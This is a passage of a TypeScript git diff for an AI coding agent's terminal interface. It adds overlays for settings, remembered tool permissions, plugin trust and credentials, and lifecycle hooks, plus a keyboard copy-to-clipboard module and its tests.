{ readonly ok: boolean; readonly message: string } + +/** A web-search candidate the plugins surface can hand to `setWebProvider`. */ +export type WebProviderChoice = { readonly id: string; readonly name: string } + +export type CompactionMode = "llm" | "pruning" + +/** Where a session-mode write lands: every repo, or just this one. */ +export type SessionModeScope = "global" | "local" + +/** Live values behind the settings surface, re-read on every open. */ +export type SettingsSnapshot = { + readonly compactionMode: CompactionMode + readonly sessionMode: SessionMode + /** Which scope `sessionMode` currently reflects — a local override wins over global. */ + readonly sessionModeScope: SessionModeScope + readonly maxConcurrentSubAgents: number + readonly waitForApproval: boolean + readonly telemetryEnabled: boolean + readonly showPromptCost: boolean +} + +export type PermissionsSurfaceDeps = { + readonly list: () => Promise + readonly revoke: (id: string) => Promise +} + +export type PluginsSurfaceDeps = { + readonly list: () => readonly PluginEntry[] + readonly setEnabled: (id: string, enabled: boolean) => Promise | void + /** Persists credential values for the plugin (does not enable/verify it). */ + readonly saveCredentials: ( + id: string, + credentials: Record, + ) => Promise | void + readonly verify: ( + id: string, + credentials: Record, + ) => Promise + readonly addPath: (path: string) => Promise + readonly webProviders: () => readonly WebProviderChoice[] + readonly currentWebProvider: () => string | undefined + readonly setWebProvider: (id: string | undefined) => Promise | void +} + +/** Discovered lifecycle hook, live enablement, and enough to describe what it runs. */ +export type HookEntry = { + readonly id: string + readonly name: string + readonly type: "typescript" | "shell" + readonly path: string + readonly enabled: boolean + /** What the hook fires on, from a cheap static check — see runner wiring. */ + readonly runsOn: string +} + +export type HooksSurfaceDeps = { + readonly list: () => readonly HookEntry[] + readonly setEnabled: (id: string, enabled: boolean) => Promise | void +} + +/** Live summary for the settings surface's hooks row (owned by another surface). */ +export type HooksSurfaceSummary = { + readonly discovered: number + readonly off: number +} + +export type SettingsSurfaceDeps = { + readonly read: () => SettingsSnapshot + readonly setCompactionMode: (mode: CompactionMode) => void + /** Writes to the given scope: "local" persists to `.corbits/settings.json` in cwd. */ + readonly setSessionMode: (mode: SessionMode, scope: SessionModeScope) => void + readonly setMaxConcurrentSubAgents: (limit: number) => void + readonly setWaitForApproval: (value: boolean) => void + readonly setTelemetryEnabled: (value: boolean) => void + readonly setShowPromptCost: (value: boolean) => void + /** Live counts for the hooks row summary. Omitted while hooks discovery is unbuilt. */ + readonly hooksSummary?: () => HooksSurfaceSummary + /** Opens the hooks surface. Omitted while it is unbuilt (row still shows, Enter no-ops). */ + readonly openHooks?: () => void +} + +export type CommandSurfaceDeps = { + readonly permissions?: PermissionsSurfaceDeps + readonly plugins?: PluginsSurfaceDeps + readonly hooks?: HooksSurfaceDeps + readonly settings?: SettingsSurfaceDeps + /** Opens the host's model/provider picker (owned by the product host). */ + readonly openModels?: () => void + /** Fallback channel for surfaces with no live data source. */ + readonly notify: (text: string) => void +} + +/** Surface a command result can ask for. */ +export type CommandSurfaceKind = + | "help" + | "settings" + | "permissions" + | "plugins" + | "hooks" + | "models" + +const CLOSE_ID = "__close__" +const BACK_ID = "__back__" + +/** Sub-agent concurrency choices offered by the settings surface. */ +export const SUBAGENT_LIMIT_CHOICES: readonly number[] = [1, 2, 3, 4, 6, 8] + +export function grantRowLabel(entry: GrantEntry): string { + const suffix = entry.providerModel !== undefined ? ` (${entry.providerModel})` : "" + return `${entry.scopeLabel} · ${entry.tool} ${entry.pattern}${suffix}` +} + +function pluginMissingCredential(entry: PluginEntry): boolean { + return entry.credentials.some((f) => (entry.credentialValues[f.key] ?? "").length === 0) +} + +export function pluginRowLabel(entry: PluginEntry): string { + const state = entry.needsTrust === true ? "untrusted" : entry.enabled ? "enabled" : "disabled" + const blocker = + entry.needsTrust !== true && !entry.enabled && pluginMissingCredential(entry) + ? "needs api key" + : entry.kind + return blocker ? `${entry.name} — ${state} — ${blocker}` : `${entry.name} — ${state}` +} + +/** Description-zone content for the focused plugin row. */ +function pluginDescription(entry: PluginEntry): ItemDescription { + const what = entry.description ?? `${entry.kind ?? "plugin"} plugin.` + if (entry.needsTrust === true) { + const where = + entry.originPath !== undefined + ? `Loaded from ${entry.originPath} — outside this workspace. ` + : "" + return { what, impact: `${where}Trusting it runs its code in this session. Press Alt+T.`, tone: "consequence" } + } + if (!entry.enabled && pluginMissingCredential(entry)) { + return { what, impact: "Needs an API key before it can be enabled — press Alt+C." } + } + return { what } +} + +function payload(entries: readonly ResidualCatalogEntry[]): { + items: readonly string[] + itemIds: readonly string[] +} { + return { items: entries.map((e) => e.label), itemIds: entries.map((e) => e.id) } +} + +function selectedId( + selection: OverlaySelection, + entries: readonly ResidualCatalogEntry[], +): string | undefined { + return residualIdFromSelection( + selection, + entries.map((e) => e.id), + ) +} + +/** One option in a cycled field, as drawn inline: `label` bracketed when active. */ +type CycleOption = { readonly id: T; readonly label: string } + +/** Render a cycled field's current state: `label ‹ label › label`. */ +function cycleField( + options: readonly CycleOption[], + activeId: T, +): string { + return options.map((o) => (o.id === activeId ? `‹ ${o.label} ›` : o.label)).join(" ") +} + +/** Step `current` to the next/previous option in `options`, wrapping. */ +function cycleValue(options: readonly T[], current: T, direction: -1 | 1): T { + const idx = options.indexOf(current) + const base = idx < 0 ? 0 : idx + const next = options[(base + direction + options.length) % options.length] + return next ?? current +} + +const COMPACTION_OPTIONS: readonly CycleOption[] = [ + { id: "llm", label: "summarize" }, + { id: "pruning", label: "drop" }, +] +const SESSION_MODE_OPTIONS: readonly CycleOption[] = [ + { id: "single", label: "single" }, + { id: "orchestrator", label: "orchestrator" }, +] +const SESSION_SCOPE_OPTIONS: readonly CycleOption[] = [ + { id: "global", label: "everywhere" }, + { id: "local", label: "this repo" }, +] +const ON_OFF_OPTIONS: readonly CycleOption<"on" | "off">[] = [ + { id: "on", label: "on" }, + { id: "off", label: "off" }, +] +const SETTINGS_NAME_WIDTH = 16 + +/** One inline-cycled settings row: label, live value, description, and its cycle step. */ +type SettingsCycleRow = { + readonly id: string + readonly value: string + readonly describe: ItemDescription + readonly cycle: (direction: -1 | 1) => void +} + +/** Cycled rows shown above the divider, in mockup order. */ +function settingsCycleRows( + snapshot: SettingsSnapshot, + settings: SettingsSurfaceDeps, +): readonly SettingsCycleRow[] { + return [ + { + id: "compaction", + value: `${"compaction".padEnd(SETTINGS_NAME_WIDTH)}${cycleField(COMPACTION_OPTIONS, snapshot.compactionMode)}`, + describe: { + what: "how the transcript is trimmed once the context fills.", + impact: + "summarize spends a model call and keeps the thread; drop is instant and loses the middle of the session.", + }, + cycle: (dir) => + settings.setCompactionMode( + cycleValue(COMPACTION_OPTIONS.map((o) => o.id), snapshot.compactionMode, dir), + ), + }, + { + id: "session-mode", + value: `${"session mode".padEnd(SETTINGS_NAME_WIDTH)}${cycleField(SESSION_MODE_OPTIONS, snapshot.sessionMode)}`, + describe: { + what: "single agent works in-session; orchestrator delegates through a worker fleet.", + impact: "orchestrator can run sub-agents concurrently and costs more per turn.", + tone: "consequence", + }, + cycle: (dir) => + settings.setSessionMode( + cycleValue(SESSION_MODE_OPTIONS.map((o) => o.id), snapshot.sessionMode, dir), + snapshot.sessionModeScope, + ), + }, + { + id: "session-scope", + value: `${" scope".padEnd(SETTINGS_NAME_WIDTH)}${cycleField(SESSION_SCOPE_OPTIONS, snapshot.sessionModeScope)}`, + describe: { + what: "whether the session mode above applies to every repo or just this one.", + impact: "this repo writes a local override that takes precedence over the global default.", + }, + cycle: (dir) => + settings.setSessionMode( + snapshot.sessionMode, + cycleValue(SESSION_SCOPE_OPTIONS.map((o) => o.id), snapshot.sessionModeScope, dir), + ), + }, + { + id: "subagents", + value: `${"sub-agents".padEnd(SETTINGS_NAME_WIDTH)}‹ ${snapshot.maxConcurrentSubAgents} ›`, + describe: { + what: "the most sub-agents an orchestrator session runs at once.", + impact: "raising the cap runs more work in parallel and spends more tokens per turn.", + tone: "consequence", + }, + cycle: (dir) => + settings.setMaxConcurrentSubAgents( + cycleValue(SUBAGENT_LIMIT_CHOICES, snapshot.maxConcurrentSubAgents, dir), + ), + }, + { + id: "wait-for-approval", + value: `${"approval wait".padEnd(SETTINGS_NAME_WIDTH)}${cycleField(ON_OFF_OPTIONS, snapshot.waitForApproval ? "on" : "off")}`, + describe: { + what: "whether a tool's time budget pauses while waiting on your approval.", + impact: "off counts the wait against the tool's timeout, so a slow approval can time it out.", + tone: "consequence", + }, + cycle: () => settings.setWaitForApproval(!snapshot.waitForApproval), + }, + { + id: "telemetry", + value: `${"telemetry".padEnd(SETTINGS_NAME_WIDTH)}${cycleField(ON_OFF_OPTIONS, snapshot.telemetryEnabled ? "on" : "off")}`, + describe: { + what: "anonymous usage data shared to help improve corbits.", + impact: "off stops all telemetry from this session.", + tone: "consequence", + }, + cycle: () => settings.setTelemetryEnabled(!snapshot.telemetryEnabled), + }, + { + id: "prompt-cost", + value: `${"show cost".padEnd(SETTINGS_NAME_WIDTH)}${cycleField(ON_OFF_OPTIONS, snapshot.showPromptCost ? "on" : "off")}`, + describe: { + what: "shows the session's spend in the prompt border, next to the context percentage.", + impact: "it's a running total that draws the eye every time it changes — off by default; /cost still gives the full breakdown on demand.", + }, + cycle: () => settings.setShowPromptCost(!snapshot.showPromptCost), + }, + ] +} + +/** One navigation row: opens a full sub-surface instead of cycling in place. */ +type SettingsNavRow = { + readonly id: string + readonly value: string + readonly describe: ItemDescription +} + +/** + * Nav rows other than permissions, which is the only one with an async source + * (`permissions.list()`). Plugins and hooks read synchronously, so keeping + * them out of a promise chain means a settings open with no permissions dep + * paints in the same tick it was requested — callers that open and immediately + * assert on `shell.overlayKind` depend on that. + */ +function settingsSyncNavRows(deps: CommandSurfaceDeps): SettingsNavRow[] { + const rows: SettingsNavRow[] = [] + if (deps.plugins) { + const entries = deps.plugins.list() + const enabled = entries.filter((e) => e.enabled).length + const needsKey = entries.filter((e) => e.needsTrust === true).length + const suffix = needsKey > 0 ? ` · ${needsKey} needs a key` : "" + rows.push({ + id: "plugins", + value: `${"plugins".padEnd(SETTINGS_NAME_WIDTH)}${enabled} enabled${suffix}`, + describe: { + what: "discovered plugins and whether each is enabled.", + impact: "disabling a plugin removes its tools and commands immediately.", + tone: "consequence", + }, + }) + } + if (deps.settings?.hooksSummary) { + const summary = deps.settings.hooksSummary() + const suffix = summary.off > 0 ? ` · ${summary.off} off` : "" + rows.push({ + id: "hooks", + value: `${"hooks".padEnd(SETTINGS_NAME_WIDTH)}${summary.discovered} discovered${suffix}`, + describe: { + what: "lifecycle hooks discovered for this session.", + impact: "a hook that is off does not run, even when its trigger fires.", + }, + }) + } + return rows +} + +function permissionsNavRow(count: number): SettingsNavRow { + return { + id: "permissions", + value: `${"permissions".padEnd(SETTINGS_NAME_WIDTH)}${count} remembered`, + describe: { + what: "remembered tool approvals from earlier in this session.", + impact: "revoking one means the next matching tool call asks again.", + }, + } +} + +/** Render the menu from a fully-resolved row set — the part every open path shares. */ +function renderSettingsMenu( + shell: AppShell, + deps: CommandSurfaceDeps, + settings: SettingsSurfaceDeps, + navRows: readonly SettingsNavRow[], +): void { + // Cycling re-enters openSettingsSurface to refresh every row's closures + // against the just-written value; closing first forces a real reopen (a + // second open of the same primary kind while one is showing is a no-op) + // while the captured index keeps the cursor where the operator left it. + const activeIndex = shell.overlayList?.activeIndex ?? 0 + closeInsetOverlay(shell) + const snapshot = settings.read() + const cycleRows = settingsCycleRows(snapshot, settings) + const byId = new Map(cycleRows.map((r) => [r.id, r])) + const descById = new Map([ + ...cycleRows.map((r) => [r.id, r.describe] as const), + ...navRows.map((r) => [r.id, r.describe] as const), + ]) + const ids = [...cycleRows.map((r) => r.id), ...navRows.map((r) => r.id)] + const items = [...cycleRows.map((r) => r.value), ...navRows.map((r) => r.value)] + + openSettingsOverlay(shell, { + items, + itemIds: ids, + activeIndex: Math.min(activeIndex, Math.max(0, items.length - 1)), + describe: (id) => descById.get(id) ?? null, + onCycle: (id, direction) => { + const row = byId.get(id) + if (!row) return + row.cycle(direction) + openSettingsSurface(shell, deps) + }, + onAccept: (selection) => { + const id = residualIdFromSelection(selection, ids) + switch (id) { + case "permissions": + openPermissionsSurface(shell, deps) + return + case "plugins": + openPluginsSurface(shell, deps) + return + case "hooks": + if (deps.settings?.openHooks) { + deps.settings.openHooks() + return + } + deps.notify("Hooks administration is not available in this session.") + openSettingsSurface(shell, deps) + return + default: + return + } + }, + }) +} + +/** + * Settings menu, re-opened after every change so values stay current. + * + * Permissions is the only nav row with an async source; without that dep the + * whole open resolves synchronously, so a caller that opens and immediately + * inspects the shell (no permissions admin wired) sees it painted. + */ +export function openSettingsSurface(shell: AppShell, deps: CommandSurfaceDeps): void { + const settings = deps.settings + if (settings === undefined) { + openSettingsOverlay(shell) + return + } + if (deps.permissions === undefined) { + renderSettingsMenu(shell, deps, settings, settingsSyncNavRows(deps)) + return + } + void deps.permissions.list().then((entries) => { + renderSettingsMenu(shell, deps, settings, [ + permissionsNavRow(entries.length), + ...settingsSyncNavRows(deps), + ]) + }) +} + +/** Remembered approvals; Enter revokes the highlighted grant. */ +export function openPermissionsSurface(shell: AppShell, deps: CommandSurfaceDeps): void { + const permissions = deps.permissions + if (permissions === undefined) { + deps.notify("Permission administration is not available in this session.") + return + } + void permissions.list().then( + (entries) => { + closeInsetOverlay(shell) + const rows: ResidualCatalogEntry[] = entries.map((e) => ({ + id: e.id, + label: grantRowLabel(e), + })) + if (rows.length === 0) { + rows.push({ + id: CLOSE_ID, + label: "No remembered approvals — grants you accept appear here", + }) + } + rows.push({ id: BACK_ID, label: "Back to settings" }) + openListOverlay(shell, { + kind: "permissions", + title: "permissions · Enter revokes", + frameId: "overlay-permissions", + ...payload(rows), + onAccept: (selection) => { + const id = selectedId(selection, rows) + if (id === undefined || id === CLOSE_ID) return + if (id === BACK_ID) { + openSettingsSurface(shell, deps) + return + } + void permissions.revoke(id).then( + () => openPermissionsSurface(shell, deps), + (err: unknown) => deps.notify(`Revoke failed: ${errorText(err)}`), + ) + }, + }) + }, + (err: unknown) => deps.notify(`Could not read remembered approvals: ${errorText(err)}`), + ) +} + +/** Live edit state for the open credentials pane. */ +type CredentialPaneState = { + values: Record + editing: number | null + buffer: string +} + +/** Bullet-render a field's row label: masked live echo while editing, saved summary otherwise. */ +function credentialRowLabel( + field: PluginCredentialFieldEntry, + saved: string, + isEditing: boolean, + buffer: string, +): string { + if (isEditing) { + const shown = field.secret === true ? maskEcho(buffer) : buffer + return `${field.label}: ${shown}▏` + } + if (saved.length === 0) return `${field.label}: (unset)` + return `${field.label}: ${field.secret === true ? maskSecret(saved) : saved}` +} + +/** + * Credential entry pane for one plugin. Enter starts/commits an inline edit; + * s saves; v saves then verifies. A secret field is never echoed in the + * clear — the buffer is displayed only through `maskEcho`/`maskSecret`, and + * every keystroke mutates the real value directly (append/backspace), so + * there is no masked-display round-trip to get wrong. + */ +function openCredentialsPane( + shell: AppShell, + deps: CommandSurfaceDeps, + plugins: PluginsSurfaceDeps, + entry: PluginEntry, + state: CredentialPaneState, +): void { + closeInsetOverlay(shell) + const fields = entry.credentials + const rows: ResidualCatalogEntry[] = fields.map((f, i) => ({ + id: f.key, + label: credentialRowLabel(f, state.values[f.key] ?? "", state.editing === i, state.buffer), + })) + rows.push({ id: BACK_ID, label: "Back to plugin" }) + openListOverlay(shell, { + kind: "plugin_credentials", + title: `${entry.name} · credentials`, + frameId: "overlay-plugin-credentials", + activeIndex: Math.min(state.editing ?? 0, rows.length - 1), + ...payload(rows), + describe: (id) => { + if (id === BACK_ID) return { what: "Return to the plugin row." } + const field = fields.find((f) => f.key === id) + if (field === undefined) return null + return { + what: field.description ?? field.label, + impact: "Enter edits this field. s saves. v saves then verifies.", + } + }, + onAccept: (selection) => { + const id = selectedId(selection, rows) + if (id === undefined || id === BACK_ID) { + openPluginsSurface(shell, deps) + return + } + const idx = fields.findIndex((f) => f.key === id) + if (idx < 0) return + if (state.editing === idx) { + state.values = { ...state.values, [id]: state.buffer } + state.editing = null + state.buffer = "" + } else { + state.editing = idx + state.buffer = state.values[id] ?? "" + } + openCredentialsPane(shell, deps, plugins, entry, state) + }, + onAction: (_id, key) => { + if (state.editing === null) { + if (key.ctrl || key.meta || key.option) return false + if (key.name === "s") { + void Promise.resolve(plugins.saveCredentials(entry.id, state.values)).then( + () => deps.notify(`Saved credentials for ${entry.name}.`), + (err: unknown) => deps.notify(`Save failed: ${errorText(err)}`), + ) + return true + } + if (key.name === "v") { + void Promise.resolve(plugins.saveCredentials(entry.id, state.values)) + .then(() => plugins.verify(entry.id, state.values)) + .then( + (result) => + deps.notify(`${entry.name}: ${result.ok ? "ok" : "failed"} — ${result.message}`), + (err: unknown) => deps.notify(`Verify failed: ${errorText(err)}`), + ) + return true + } + return false + } + if (key.name === "backspace") { + state.buffer = state.buffer.slice(0, -1) + openCredentialsPane(shell, deps, plugins, entry, state) + return true + } + const seq = typeof key.sequence === "string" ? key.sequence : "" + if (seq.length === 1 && seq >= " " && !key.ctrl && !key.meta && !key.option) { + state.buffer += seq + openCredentialsPane(shell, deps, plugins, entry, state) + return true + } + return false + }, + }) +} + +/** Single-field free-text prompt, used for "add plugin by path". */ +function openTextPromptPane( + shell: AppShell, + opts: { + readonly title: string + readonly what: string + readonly onSubmit: (value: string) => void + }, + buffer: { value: string }, +): void { + closeInsetOverlay(shell) + openListOverlay(shell, { + kind: "plugin_credentials", + title: opts.title, + frameId: "overlay-plugin-textprompt", + items: [buffer.value.length === 0 ? "▏" : `${buffer.value}▏`], + itemIds: ["value"], + describe: () => ({ what: opts.what, impact: "Enter accepts. Esc cancels." }), + onAccept: () => opts.onSubmit(buffer.value.trim()), + onAction: (_id, key) => { + if (key.ctrl || key.meta || key.option) return false + if (key.name === "backspace") { + buffer.value = buffer.value.slice(0, -1) + openTextPromptPane(shell, opts, buffer) + return true + } + const seq = typeof key.sequence === "string" ? key.sequence : "" + if (seq.length === 1 && seq >= " ") { + buffer.value += seq + openTextPromptPane(shell, opts, buffer) + return true + } + return false + }, + }) +} + +function openAddPathPane(shell: AppShell, deps: CommandSurfaceDeps, plugins: PluginsSurfaceDeps): void { + openTextPromptPane( + shell, + { + title: "add plugin by path", + what: "Absolute or relative path to a plugin file or directory.", + onSubmit: (path) => { + if (path.length === 0) { + deps.notify("Enter a path first.") + return + } + void plugins.addPath(path).then( + (result) => { + deps.notify(result.message) + openPluginsSurface(shell, deps) + }, + (err: unknown) => deps.notify(`Add failed: ${errorText(err)}`), + ) + }, + }, + { value: "" }, + ) +} + +function openWebProviderChooser( + shell: AppShell, + deps: CommandSurfaceDeps, + plugins: PluginsSurfaceDeps, +): void { + closeInsetOverlay(shell) + const providers = plugins.webProviders() + const current = plugins.currentWebProvider() + const AUTO_ID = "__auto__" + const rows: ResidualCatalogEntry[] = [ + { id: AUTO_ID, label: current === undefined ? "‹ automatic ›" : "automatic" }, + ...providers.map((p) => ({ id: p.id, label: p.id === current ? `‹ ${p.name} ›` : p.name })), + { id: BACK_ID, label: "Back to plugins" }, + ] + openListOverlay(shell, { + kind: "plugins", + title: "web search provider", + frameId: "overlay-plugin-web", + ...payload(rows), + onAccept: (selection) => { + const id = selectedId(selection, rows) + if (id === undefined || id === BACK_ID) { + openPluginsSurface(shell, deps) + return + } + const chosen = id === AUTO_ID ? undefined : id + void Promise.resolve(plugins.setWebProvider(chosen)).then( + () => openPluginsSurface(shell, deps), + (err: unknown) => deps.notify(`Set provider failed: ${errorText(err)}`), + ) + }, + }) +} + +/** + * Discovered plugins. Enter toggles enablement (blocked pre-trust); Alt+C + * opens credentials, Alt+V verifies, Alt+T trusts, Alt+A adds by path, + * Alt+W picks the web provider. + */ +export function openPluginsSurface(shell: AppShell, deps: CommandSurfaceDeps): void { + const plugins = deps.plugins + if (plugins === undefined) { + deps.notify("Plugin administration is not available in this session.") + return + } + closeInsetOverlay(shell) + const entries = plugins.list() + const rows: ResidualCatalogEntry[] = entries.map((e) => ({ + id: e.id, + label: pluginRowLabel(e), + })) + if (rows.length === 0) { + rows.push({ id: CLOSE_ID, label: "No plugins discovered" }) + } + rows.push({ id: CLOSE_ID, label: "Close plugins" }) + const byId = new Map(entries.map((e) => [e.id, e])) + openListOverlay(shell, { + kind: "plugins", + title: "plugins", + frameId: "overlay-plugins", + ...payload(rows), + describe: (id) => { + const target = byId.get(id) + return target === undefined ? null : pluginDescription(target) + }, + onAccept: (selection) => { + const id = selectedId(selection, rows) + if (id === undefined || id === CLOSE_ID) return + const target = byId.get(id) + if (target === undefined) return + if (target.needsTrust === true) { + deps.notify(`${target.name} is untrusted — press Alt+T to trust it before enabling.`) + openPluginsSurface(shell, deps) + return + } + void Promise.resolve(plugins.setEnabled(target.id, !target.enabled)).then( + () => openPluginsSurface(shell, deps), + (err: unknown) => deps.notify(`Plugin update failed: ${errorText(err)}`), + ) + }, + onAction: (id, key) => { + // Alt+, never bare — c/v/t/a/w read as ordinary letters the + // filter-as-you-type list would otherwise swallow. Alt+C never + // collides with the global copy-mode chord: this surface's overlay + // branch returns before that handler is reached (see shell.ts's + // top-level onKey), so exactly one of the two can ever fire. + if (key.ctrl || !(key.meta || key.option)) return false + const target = byId.get(id) + if (target === undefined) return false + const name = typeof key.name === "string" ? key.name.toLowerCase() : "" + switch (name) { + case "c": + if (target.credentials.length === 0) return false + openCredentialsPane(shell, deps, plugins, target, { + values: { ...target.credentialValues }, + editing: null, + buffer: "", + }) + return true + case "v": + void plugins.verify(target.id, { ...target.credentialValues }).then( + (result) => + deps.notify(`${target.name}: ${result.ok ? "ok" : "failed"} — ${result.message}`), + (err: unknown) => deps.notify(`Verify failed: ${errorText(err)}`), + ) + return true + case "t": + if (target.needsTrust !== true) return false + void Promise.resolve(plugins.setEnabled(target.id, true)).then( + () => openPluginsSurface(shell, deps), + (err: unknown) => deps.notify(`Trust failed: ${errorText(err)}`), + ) + return true + case "a": + openAddPathPane(shell, deps, plugins) + return true + case "w": + openWebProviderChooser(shell, deps, plugins) + return true + default: + return false + } + }, + }) +} + +function hookRowLabel(entry: HookEntry): string { + return `${entry.name} — ${entry.enabled ? "enabled" : "disabled"}` +} + +/** Discovered lifecycle hooks; Enter toggles enablement. */ +export function openHooksSurface(shell: AppShell, deps: CommandSurfaceDeps): void { + const hooks = deps.hooks + if (hooks === undefined) { + deps.notify("Hook administration is not available in this session.") + return + } + closeInsetOverlay(shell) + const entries = hooks.list() + const rows: ResidualCatalogEntry[] = entries.map((e) => ({ id: e.id, label: hookRowLabel(e) })) + if (rows.length === 0) { + rows.push({ id: CLOSE_ID, label: "No hooks discovered" }) + } + rows.push({ id: CLOSE_ID, label: "Close hooks" }) + const byId = new Map(entries.map((e) => [e.id, e])) + openListOverlay(shell, { + kind: "hooks", + title: "hooks", + frameId: "overlay-hooks", + ...payload(rows), + describe: (id) => { + const target = byId.get(id) + if (target === undefined) return null + return { + what: `${target.runsOn} — ${target.path}`, + impact: target.enabled ? "Enter turns this hook off." : "Enter turns this hook on.", + } + }, + onAccept: (selection) => { + const id = selectedId(selection, rows) + if (id === undefined || id === CLOSE_ID) return + const target = byId.get(id) + if (target === undefined) return + void Promise.resolve(hooks.setEnabled(target.id, !target.enabled)).then( + () => openHooksSurface(shell, deps), + (err: unknown) => deps.notify(`Hook update failed: ${errorText(err)}`), + ) + }, + }) +} + +function errorText(err: unknown): string { + return err instanceof Error ? err.message : String(err) +} + +/** + * Open the surface a command asked for. + * Returns false when no surface exists for the kind, so the caller can report + * the gap rather than silently swallowing the command. + */ +export function openCommandSurface( + shell: AppShell, + kind: CommandSurfaceKind, + deps: CommandSurfaceDeps, +): boolean { + switch (kind) { + case "help": + openHelpOverlay(shell) + return true + case "settings": + openSettingsSurface(shell, deps) + return true + case "permissions": + openPermissionsSurface(shell, deps) + return true + case "plugins": + openPluginsSurface(shell, deps) + return true + case "hooks": + openHooksSurface(shell, deps) + return true + case "models": + if (deps.openModels === undefined) return false + deps.openModels() + return true + } +} diff --git a/src/tui-opentui/copy-path.test.ts b/src/tui-opentui/copy-path.test.ts new file mode 100644 index 000000000..cf153248f --- /dev/null +++ b/src/tui-opentui/copy-path.test.ts @@ -0,0 +1,128 @@ +import { describe, expect, test } from "bun:test" +import { + buildCopyTargets, + classifyCopy, + copyStreamRow, + createRecordingClipboard, + formatCopyText, + pickCopyRow, + streamLogMarkdown, +} from "./copy-path" +import type { StreamRow } from "./stream" + +describe("classifyCopy", () => { + test("tool role", () => { + expect(classifyCopy({ role: "tool", text: "ls", meta: "bash" })).toBe( + "tool", + ) + }) + + test("diff body", () => { + const row: StreamRow = { + role: "assistant", + text: "diff --git a/x b/x\n--- a/x\n+++ b/x\n@@ -1 +1 @@\n-a\n+b\n", + } + expect(classifyCopy(row)).toBe("diff") + }) + + test("plain message", () => { + expect(classifyCopy({ role: "user", text: "hello" })).toBe("message") + }) +}) + +describe("formatCopyText / copyStreamRow", () => { + test("writes plain text and summary", () => { + const port = createRecordingClipboard() + const payload = copyStreamRow( + { role: "assistant", text: "hello world" }, + port, + ) + expect(payload).not.toBeNull() + expect(payload!.kind).toBe("message") + expect(payload!.text).toBe("hello world") + expect(port.writes).toEqual(["hello world"]) + expect(payload!.summary).toContain("copied message") + }) + + test("tool includes meta", () => { + const port = createRecordingClipboard() + const payload = copyStreamRow( + { role: "tool", text: "ok", meta: "bash" }, + port, + ) + expect(payload!.text).toBe("[bash] ok") + expect(payload!.kind).toBe("tool") + }) + + test("null when no row", () => { + const port = createRecordingClipboard() + expect(copyStreamRow(null, port)).toBeNull() + expect(port.writes).toEqual([]) + }) +}) + +describe("pickCopyRow", () => { + const log: StreamRow[] = [ + { role: "user", text: "u" }, + { role: "system", text: "s" }, + { role: "assistant", text: "a" }, + { role: "system", text: "done" }, + ] + + test("prefers last non-system", () => { + expect(pickCopyRow(log)?.text).toBe("a") + }) + + test("explicit index", () => { + expect(pickCopyRow(log, 0)?.text).toBe("u") + }) + + test("empty", () => { + expect(pickCopyRow([])).toBeNull() + }) +}) + +describe("buildCopyTargets", () => { + test("skips system and freezes oldest-first with last as default pick", () => { + const log: StreamRow[] = [ + { role: "user", text: "first" }, + { role: "system", text: "noise" }, + { role: "assistant", text: "second" }, + { role: "tool", text: "out", meta: "bash" }, + ] + const targets = buildCopyTargets(log) + expect(targets.map((t) => t.text)).toEqual([ + "first", + "second", + "[bash] out", + ]) + expect(targets[0]?.label).toBe("your message") + expect(targets[2]?.label).toBe("bash output") + // Ink default: last target + expect(targets[targets.length - 1]?.text).toBe("[bash] out") + }) + + test("empty log", () => { + expect(buildCopyTargets([])).toEqual([]) + }) + + test("streamLogMarkdown joins frozen targets", () => { + const md = streamLogMarkdown([ + { id: "1", label: "your message", preview: "hi", text: "hi" }, + { id: "2", label: "assistant message", preview: "yo", text: "yo" }, + ]) + expect(md).toContain("## your message") + expect(md).toContain("hi") + expect(md).toContain("## assistant message") + }) +}) + +describe("formatCopyText length preview", () => { + test("truncates long summary", () => { + const long = "x".repeat(80) + const p = formatCopyText({ role: "user", text: long }) + expect(p.text).toBe(long) + expect(p.summary.length).toBeLessThan(long.length + 40) + expect(p.summary).toContain("…") + }) +}) diff --git a/src/tui-opentui/copy-path.ts b/src/tui-opentui/copy-path.ts new file mode 100644 index 000000000..81c1948bf --- /dev/null +++ b/src/tui-opentui/copy-path.ts @@ -0,0 +1,163 @@ +/** + * Keyboard copy path — message / tool / diff without mouse drag-select. + * Binding: Alt+C (interaction contract). + * Pure format + port; shell wires the chord and overlay picker. + */ + +import { diffPlainText } from "./diff.js" +import type { StreamRow } from "./stream.js" + +export type CopyKind = "message" | "tool" | "diff" | "system" + +export type CopyPayload = { + readonly kind: CopyKind + readonly text: string + /** Short status line for the transcript / flash. */ + readonly summary: string +} + +/** One frozen selectable chunk for the copy overlay (Ink parity). */ +export type CopyTarget = { + readonly id: string + readonly label: string + readonly preview: string + readonly text: string +} + +export type ClipboardPort = { + readonly writeText: (text: string) => void | Promise +} + +/** Recording port for headless tests. */ +export function createRecordingClipboard(): ClipboardPort & { + readonly writes: string[] +} { + const writes: string[] = [] + return { + writes, + writeText: (text: string) => { + writes.push(text) + }, + } +} + +function oneLine(text: string, max = 56): string { + const collapsed = text.replace(/\s+/g, " ").trim() + return collapsed.length > max ? `${collapsed.slice(0, max - 1)}…` : collapsed +} + +/** + * Infer copy kind from a stream row. + * Rows carrying a rendered edit diff win; otherwise assistant/tool rows whose + * text looks like a unified diff. + */ +export function classifyCopy(row: StreamRow): CopyKind { + if (row.diff !== undefined) return "diff" + if (row.role === "tool") return "tool" + if (row.role === "system") return "system" + const body = row.text + if ( + body.includes("\n@@ ") || + body.startsWith("diff --git") || + (/^[-+]{3} [ab]\//m.test(body) && body.includes("\n@@")) + ) { + return "diff" + } + return "message" +} + +/** Human label for a stream row in the copy picker. */ +export function copyRowLabel(row: StreamRow): string { + const kind = classifyCopy(row) + if (kind === "tool") { + return row.meta && row.meta.length > 0 ? `${row.meta} output` : "tool output" + } + if (kind === "diff") return "edit diff" + if (row.role === "user") return "your message" + if (kind === "system") return "system" + return "assistant message" +} + +/** Format clipboard text for a row (no ANSI; plain for paste). */ +export function formatCopyText(row: StreamRow): CopyPayload { + const kind = classifyCopy(row) + const meta = row.meta && row.meta.length > 0 ? `[${row.meta}] ` : "" + let text: string + switch (kind) { + case "tool": + text = meta + row.text + break + case "diff": + // Rendered edit rows copy the diff itself, not the raw JSON arguments. + text = row.diff !== undefined ? diffPlainText(row.diff) : row.text + break + case "system": + text = row.text + break + default: + text = row.text + } + const preview = + text.length > 48 ? `${text.slice(0, 45).replace(/\s+/g, " ")}…` : text + return { + kind, + text, + summary: `copied ${kind} (${text.length} chars): ${preview}`, + } +} + +/** + * Build frozen copy targets from a stream log (oldest first). + * Skips system rows — copy feedback and chrome noise are not selectable. + */ +export function buildCopyTargets(log: readonly StreamRow[]): CopyTarget[] { + const targets: 